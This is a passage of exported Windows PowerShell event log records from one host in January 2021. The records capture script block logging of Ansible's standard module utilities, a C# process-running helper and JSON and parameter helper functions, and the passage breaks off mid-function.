Message | Id | Version | Qualifiers | Level | Task | Opcode | Keywords | RecordId | ProviderName | ProviderId | LogName | ProcessId | ThreadId | MachineName | UserId | TimeCreated | ActivityId | RelatedActivityId | ContainerLog | MatchedQueryIds | Bookmark | LevelDisplayName | OpcodeDisplayName | TaskDisplayName | KeywordsDisplayNames | Properties |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2324 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2216 | 4892 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:18 AM | 61e00a24-ee3b-0003-39e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 2216 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2323 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2216 | 4444 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:17 AM | 61e00a24-ee3b-0003-39e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2322 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2216 | 4892 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:17 AM | 61e00a24-ee3b-0003-39e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = f221ce84-2655-485c-b1d3-76b843b7bc58
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = ac81f8d6-d86c-4cd7-9086-d00537d10af7
Pipeline ID = 7
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 2321 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4132 | 2724 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:17 AM | 61e00a24-ee3b-0000-a1b3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
$process_util = @"
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}
"@
$ErrorActionPreference = 'Stop'
Function Load-CommandUtils {
# makes the following static functions available
# [Ansible.CommandUtil]::ParseCommandLine(string lpCommandLine)
# [Ansible.CommandUtil]::SearchPath(string lpFileName)
# [Ansible.CommandUtil]::RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, string environmentBlock)
#
# there are also numerous P/Invoke methods that can be called if you are feeling adventurous
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $process_util
$env:TMP = $original_tmp
}
Function Get-ExecutablePath($executable, $directory) {
# lpApplicationName requires the full path to a file, we need to find it
# ourselves.
# we need to add .exe if it doesn't have an extension already
if (-not [System.IO.Path]::HasExtension($executable)) {
$executable = "$($executable).exe"
}
$full_path = [System.IO.Path]::GetFullPath($executable)
if ($full_path -ne $executable -and $directory -ne $null) {
$file = Get-Item -Path "$directory\$executable" -Force -ErrorAction SilentlyContinue
} else {
$file = Get-Item -Path $executable -Force -ErrorAction SilentlyContinue
}
if ($file -ne $null) {
$executable_path = $file.FullName
} else {
$executable_path = [Ansible.CommandUtil]::SearchPath($executable)
}
return $executable_path
}
Function Run-Command {
Param(
[string]$command, # the full command to run including the executable
[string]$working_directory = $null, # the working directory to run under, will default to the current dir
[string]$stdin = $null, # a string to send to the stdin pipe when executing the command
[hashtable]$environment = @{} # a hashtable of environment values to run the command under, this will replace all the other environment variables with these
)
# load the C# code we call in this function
Load-CommandUtils
# need to validate the working directory if it is set
if ($working_directory) {
# validate working directory is a valid path
if (-not (Test-Path -Path $working_directory)) {
throw "invalid working directory path '$working_directory'"
}
}
# lpApplicationName needs to be the full path to an executable, we do this
# by getting the executable as the first arg and then getting the full path
$arguments = [Ansible.CommandUtil]::ParseCommandLine($command)
$executable = Get-ExecutablePath -executable $arguments[0] -directory $working_directory
# run the command and get the results
$command_result = [Ansible.CommandUtil]::RunCommand($executable, $command, $working_directory, $stdin, $environment)
return ,@{
executable = $executable
stdout = $command_result.StandardOut
stderr = $command_result.StandardError
rc = $command_result.ExitCode
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 6b6f5e55-0d3d-49f7-bbee-bf8f248848b8
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2320 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4132 | 4128 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:17 AM | 61e00a24-ee3b-0002-ec02-f2613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
